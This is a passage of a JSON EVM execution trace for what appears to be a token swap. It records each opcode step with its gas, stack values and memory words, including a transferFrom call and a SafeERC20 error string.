00000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958ee6a439050000000000000000000000004c711efa05b78582f07d9d96","0b1dadde95688166000000000000000000000000175940b39014cd3a9c87cd6b","1d7616a097db958e000000000000000000000000000000000000000000000000"]},{"pc":12430,"op":"PUSH4","gas":78545,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0x384"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958ee6a439050000000000000000000000004c711efa05b78582f07d9d96","0b1dadde95688166000000000000000000000000175940b39014cd3a9c87cd6b","1d7616a097db958e000000000000000000000000000000000000000000000000"]},{"pc":12435,"op":"SWAP1","gas":78542,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0x384","0xe6a43905"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958ee6a439050000000000000000000000004c711efa05b78582f07d9d96","0b1dadde95688166000000000000000000000000175940b39014cd3a9c87cd6b","1d7616a097db958e000000000000000000000000000000000000000000000000"]},{"pc":12436,"op":"PUSH1","gas":78539,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0x384"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958ee6a439050000000000000000000000004c711efa05b78582f07d9d96","0b1dadde95688166000000000000000000000000175940b39014cd3a9c87cd6b","1d7616a097db958e000000000000000000000000000000000000000000000000"]},{"pc":12438,"op":"ADD","gas":78536,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0x384","0x44"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958ee6a439050000000000000000000000004c711efa05b78582f07d9d96","0b1dadde95688166000000000000000000000000175940b39014cd3a9c87cd6b","1d7616a097db958e000000000000000000000000000000000000000000000000"]},{"pc":12439,"op":"PUSH1","gas":78533,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0x3c8"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958ee6a439050000000000000000000000004c711efa05b78582f07d9d96","0b1dadde95688166000000000000000000000000175940b39014cd3a9c87cd6b","1d7616a097db958e000000000000000000000000000000000000000000000000"]},{"pc":12441,"op":"PUSH1","gas":78530,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0x3c8","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958ee6a439050000000000000000000000004c711efa05b78582f07d9d96","0b1dadde95688166000000000000000000000000175940b39014cd3a9c87cd6b","1d7616a097db958e000000000000000000000000000000000000000000000000"]},{"pc":12443,"op":"MLOAD","gas":78527,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0x3c8","0x20","0x40"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958ee6a439050000000000000000000000004c711efa05b78582f07d9d96","0b1dadde95688166000000000000000000000000175940b39014cd3a9c87cd6b","1d7616a097db958e000000000000000000000000000000000000000000000000"]},{"pc":12444,"op":"DUP1","gas":78524,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0x3c8","0x20","0x384"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958ee6a439050000000000000000000000004c711efa05b78582f07d9d96","0b1dadde95688166000000000000000000000000175940b39014cd3a9c87cd6b","1d7616a097db958e000000000000000000000000000000000000000000000000"]},{"pc":12445,"op":"DUP4","gas":78521,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0x3c8","0x20","0x384","0x384"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958ee6a439050000000000000000000000004c711efa05b78582f07d9d96","0b1dadde95688166000000000000000000000000175940b39014cd3a9c87cd6b","1d7616a097db958e000000000000000000000000000000000000000000000000"]},{"pc":12446,"op":"SUB","gas":78518,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0x3c8","0x20","0x384","0x384","0x3c8"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958ee6a439050000000000000000000000004c711efa05b78582f07d9d96","0b1dadde95688166000000000000000000000000175940b39014cd3a9c87cd6b","1d7616a097db958e000000000000000000000000000000000000000000000000"]},{"pc":12447,"op":"DUP2","gas":78515,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0x3c8","0x20","0x384","0x44"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958ee6a439050000000000000000000000004c711efa05b78582f07d9d96","0b1dadde95688166000000000000000000000000175940b39014cd3a9c87cd6b","1d7616a097db958e000000000000000000000000000000000000000000000000"]},{"pc":12448,"op":"DUP7","gas":78512,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x136dbf40ac09b","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0x3c8","0x20","0x384","0x44","0x384"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811ba